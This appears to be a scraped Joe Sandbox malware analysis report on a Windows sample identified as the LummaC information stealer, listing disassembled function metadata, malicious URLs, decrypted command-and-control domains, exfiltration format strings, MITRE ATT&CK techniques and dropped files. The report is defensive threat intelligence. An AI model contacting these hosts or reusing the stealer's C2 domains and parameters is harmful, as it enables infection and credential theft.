Instruction ID: 7a34c3792e17cd1e43938c0b5bbde666a0552b98eea69b4b8103c1946a1db717
Opcode Fuzzy Hash: e2de2a141e66d6946227db6da9a2a14d39f4adfacb39615cc188d3014457a735
Instruction Fuzzy Hash: A14193B390C210AFE301AE29DC8667EFBE9FF84760F164D2EE5C5C3644D63558448AA3

Function 05CD3FB3 Relevance: 1.4, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

*@_O, xrefs: 05CD409B

Memory Dump Source

Source File: 00000000.00000002.2367424578.0000000005CC4000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B30000, based on PE: true

Associated: 00000000.00000002.2367312484.0000000005B30000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367340861.0000000005B32000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367367113.0000000005B36000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005B3A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DD5000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DE4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DE6000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b30000_file.jbxd

Similarity

API ID:
String ID: *@_O
API String ID: 0-1158742044
Opcode ID: c641559d10d6c094d5052977971063e63469651dc42b1dfdfaae27ed91fd87de
Instruction ID: 2272fc5835df7ef59aceb10b6dc5f0709858c37b5eb40eaddab648af3b91e4f8
Opcode Fuzzy Hash: c641559d10d6c094d5052977971063e63469651dc42b1dfdfaae27ed91fd87de
Instruction Fuzzy Hash: 0141B2B3A0C2109FE301AF29DC8666EFBE5FF84720F16492EE5C483654E6359844CB93

Function 05CD3F9C Relevance: 1.4, Strings: 1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

*@_O, xrefs: 05CD409B

Memory Dump Source

Source File: 00000000.00000002.2367424578.0000000005CC4000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B30000, based on PE: true

Associated: 00000000.00000002.2367312484.0000000005B30000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367340861.0000000005B32000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367367113.0000000005B36000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005B3A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DD5000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DE4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DE6000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b30000_file.jbxd

Similarity

API ID:
String ID: *@_O
API String ID: 0-1158742044
Opcode ID: d1d817f8f10ace903fd98b942d571608767dad6c11128b8c041f0724a8d3708a
Instruction ID: 92d67cdc1cf3b64adad45f4cee02af2b8660c66a56d1f15355f79f7c84d0e452
Opcode Fuzzy Hash: d1d817f8f10ace903fd98b942d571608767dad6c11128b8c041f0724a8d3708a
Instruction Fuzzy Hash: 1741B3B3908210AFE301AE29DC8667EFBE5FF84720F06492EE5C483754D63598448B93

Function 05CD5727 Relevance: 1.4, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

USF+, xrefs: 05CD5727

Memory Dump Source

Source File: 00000000.00000002.2367424578.0000000005CC4000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B30000, based on PE: true

Associated: 00000000.00000002.2367312484.0000000005B30000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367340861.0000000005B32000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367367113.0000000005B36000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005B3A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DD5000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DE4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DE6000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b30000_file.jbxd

Similarity

API ID:
String ID: USF+
API String ID: 0-3119686054
Opcode ID: 3c0f712064ed3492337e2fefb786ebbbcaebd6f33c0bc85964a4e2d35d3f1b50
Instruction ID: 2f98386129555e487265888239fa406e5a34eb68a81fae5b129b786c3dca7578
Opcode Fuzzy Hash: 3c0f712064ed3492337e2fefb786ebbbcaebd6f33c0bc85964a4e2d35d3f1b50
Instruction Fuzzy Hash: F831E2B211C704AFD749AF69D8D26BAFBE4EF08320F06492DE2C682650D6755480CB4B

Function 00B44381 Relevance: .9, Instructions: 890COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2260458279.0000000000B3F000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B44000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_b44000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fd47fef2ce469522ac8bad59dbb6c069fcbf80066a983c5a66a9f10ecf8cdca
Instruction ID: 78bdfeb20b6310c8b80258f9181f0e904198bdc8b09585fe81dc85d201cf0a53
Opcode Fuzzy Hash: 4fd47fef2ce469522ac8bad59dbb6c069fcbf80066a983c5a66a9f10ecf8cdca
Instruction Fuzzy Hash: C0610FA640E3C04FE3138B7898696907FB0AF23214B0E55EBC0C4CF5B3D2594A5AD723

Function 00B44381 Relevance: .9, Instructions: 890COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2260458279.0000000000B3F000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B3F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_b44000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fd47fef2ce469522ac8bad59dbb6c069fcbf80066a983c5a66a9f10ecf8cdca
Instruction ID: 78bdfeb20b6310c8b80258f9181f0e904198bdc8b09585fe81dc85d201cf0a53
Opcode Fuzzy Hash: 4fd47fef2ce469522ac8bad59dbb6c069fcbf80066a983c5a66a9f10ecf8cdca
Instruction Fuzzy Hash: C0610FA640E3C04FE3138B7898696907FB0AF23214B0E55EBC0C4CF5B3D2594A5AD723

Function 00B489D5 Relevance: .4, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2162269016.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B44000, based on PE: false

Associated: 00000000.00000003.2260458279.0000000000B3F000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_b46000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf524f981939964e656f097e53fb9abe223b16483ba9958f516508642f9f6dc4
Instruction ID: 13776115cb40318221dc1264fe558721caa2e48ecaf507e27c57bb65303b9ba4
Opcode Fuzzy Hash: bf524f981939964e656f097e53fb9abe223b16483ba9958f516508642f9f6dc4
Instruction Fuzzy Hash: D5B1992544E3C19FC7138B308CA6695BFB0AE53210B1E85DFC4C1CF1A3E6285A4AD7A7

Function 00B489D5 Relevance: .4, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2162269016.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B3F000, based on PE: false

Associated: 00000000.00000003.2260458279.0000000000B3F000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_b46000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf524f981939964e656f097e53fb9abe223b16483ba9958f516508642f9f6dc4
Instruction ID: 13776115cb40318221dc1264fe558721caa2e48ecaf507e27c57bb65303b9ba4
Opcode Fuzzy Hash: bf524f981939964e656f097e53fb9abe223b16483ba9958f516508642f9f6dc4
Instruction Fuzzy Hash: D5B1992544E3C19FC7138B308CA6695BFB0AE53210B1E85DFC4C1CF1A3E6285A4AD7A7

Function 00B489D5 Relevance: .4, Instructions: 358COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2162269016.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B46000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_b46000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56f6b3e675d9d768a5b10a032ec9ff257e55677155f37c907f6d90d7dcbf0dc7
Instruction ID: 9a91a11f5653c736467b30c6f9cc10cdce13a998fc2c7b04a733f061f2710016
Opcode Fuzzy Hash: 56f6b3e675d9d768a5b10a032ec9ff257e55677155f37c907f6d90d7dcbf0dc7
Instruction Fuzzy Hash: F7B1992544E3C19FC7138B309D66695BFB0AE53210B1E85DFC4C1CF1A3E6685A0AD7A3

Function 00B489D5 Relevance: .4, Instructions: 358COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2162269016.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B47000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_b46000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56f6b3e675d9d768a5b10a032ec9ff257e55677155f37c907f6d90d7dcbf0dc7
Instruction ID: 9a91a11f5653c736467b30c6f9cc10cdce13a998fc2c7b04a733f061f2710016
Opcode Fuzzy Hash: 56f6b3e675d9d768a5b10a032ec9ff257e55677155f37c907f6d90d7dcbf0dc7
Instruction Fuzzy Hash: F7B1992544E3C19FC7138B309D66695BFB0AE53210B1E85DFC4C1CF1A3E6685A0AD7A3

Function 00B48ABE Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2162269016.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B44000, based on PE: false

Associated: 00000000.00000003.2260458279.0000000000B3F000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_b46000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09fb5afbe9ba3ed71f88800089b88995951e496b504d236d7d92a41307ec553a
Instruction ID: da61079a40d1165029fd89c13208ddcac57900a3367bd63fa4870be8f8ec087f
Opcode Fuzzy Hash: 09fb5afbe9ba3ed71f88800089b88995951e496b504d236d7d92a41307ec553a
Instruction Fuzzy Hash: 7F719B2544E3C19FC717CB348DA6A95BFB0AE03200B1E89CFD4C18F1A3D6685A49D766

Function 00B48ABE Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2162269016.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B3F000, based on PE: false

Associated: 00000000.00000003.2260458279.0000000000B3F000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_b46000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09fb5afbe9ba3ed71f88800089b88995951e496b504d236d7d92a41307ec553a
Instruction ID: da61079a40d1165029fd89c13208ddcac57900a3367bd63fa4870be8f8ec087f
Opcode Fuzzy Hash: 09fb5afbe9ba3ed71f88800089b88995951e496b504d236d7d92a41307ec553a
Instruction Fuzzy Hash: 7F719B2544E3C19FC717CB348DA6A95BFB0AE03200B1E89CFD4C18F1A3D6685A49D766

Function 00B48ABE Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2162269016.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B46000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_b46000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bdd8b79229800cede5f6526ef7b833fb865f39e667b938296090027afd9dd36
Instruction ID: 8b19ae9fbf1dd33590f6bb674292c2624372814b3c17d96af3091c2615e8a357
Opcode Fuzzy Hash: 1bdd8b79229800cede5f6526ef7b833fb865f39e667b938296090027afd9dd36
Instruction Fuzzy Hash: 9A71AC2544E3C19FC7178B349DA6645BFB0AE43200B1E89CFD4C18F0A3D6685A0AD7A7

Function 00B48ABE Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2162269016.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B47000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_b46000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bdd8b79229800cede5f6526ef7b833fb865f39e667b938296090027afd9dd36
Instruction ID: 8b19ae9fbf1dd33590f6bb674292c2624372814b3c17d96af3091c2615e8a357
Opcode Fuzzy Hash: 1bdd8b79229800cede5f6526ef7b833fb865f39e667b938296090027afd9dd36
Instruction Fuzzy Hash: 9A71AC2544E3C19FC7178B349DA6645BFB0AE43200B1E89CFD4C18F0A3D6685A0AD7A7

Function 05CD2D03 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2367424578.0000000005CC4000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B30000, based on PE: true

Associated: 00000000.00000002.2367312484.0000000005B30000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367340861.0000000005B32000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367367113.0000000005B36000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005B3A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DD5000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DE4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DE6000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7abb3616d09f8f73102a95ef63b8f6c4bdfb601eaf34427c60b5fd4fe6d6fe2
Instruction ID: 7c83312e8b4ca178aa5add33e44ea8701cd8c9711dfa54aee4d5e432d3185bcd
Opcode Fuzzy Hash: b7abb3616d09f8f73102a95ef63b8f6c4bdfb601eaf34427c60b5fd4fe6d6fe2
Instruction Fuzzy Hash: 5A4137B650C300EFE3066F19D8416AEBBE5EF95720F1A482EE6D1C2A11D3758881DB53

Function 05CCFDD8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2367424578.0000000005CC4000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B30000, based on PE: true

Associated: 00000000.00000002.2367312484.0000000005B30000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367340861.0000000005B32000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367367113.0000000005B36000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005B3A000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DD5000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DE4000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2367424578.0000000005DE6000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 276b88fc4dc5c64e1373a9d6dc9c6c39f5c17cf09e38657dfa3cfa00755a3174
Instruction ID: e21d848427242e0b651f3cc79f22fcdf2af32b58552980fa7ccf5722b36fcb33
Opcode Fuzzy Hash: 276b88fc4dc5c64e1373a9d6dc9c6c39f5c17cf09e38657dfa3cfa00755a3174
Instruction Fuzzy Hash: B601E4B150520A9BEB45CF04D188ADABBB6FF49720F1682A9D8055BB91D3705DD0CB89

Source: https://cook-rain.sbs/apig7	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/L	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/api_seed	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/rbTpMcb	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apiw	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/The	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs:443/apiyA	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/#	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/def.exe9	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/apitH	Avira URL Cloud: Label: malware

Source: 00000000.00000002.2361769481.0000000000561000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p3ar11fter.sbs
Source: 00000000.00000002.2361769481.0000000000561000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 3xp3cts1aim.sbs
Source: 00000000.00000002.2361769481.0000000000561000.00000040.00000001.01000000.00000003.sdmp	String decryptor: peepburry828.sbs
Source: 00000000.00000002.2361769481.0000000000561000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p10tgrace.sbs
Source: 00000000.00000002.2361769481.0000000000561000.00000040.00000001.01000000.00000003.sdmp	String decryptor: processhol.sbs
Source: 00000000.00000002.2361769481.0000000000561000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2361769481.0000000000561000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2361769481.0000000000561000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2361769481.0000000000561000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2361769481.0000000000561000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

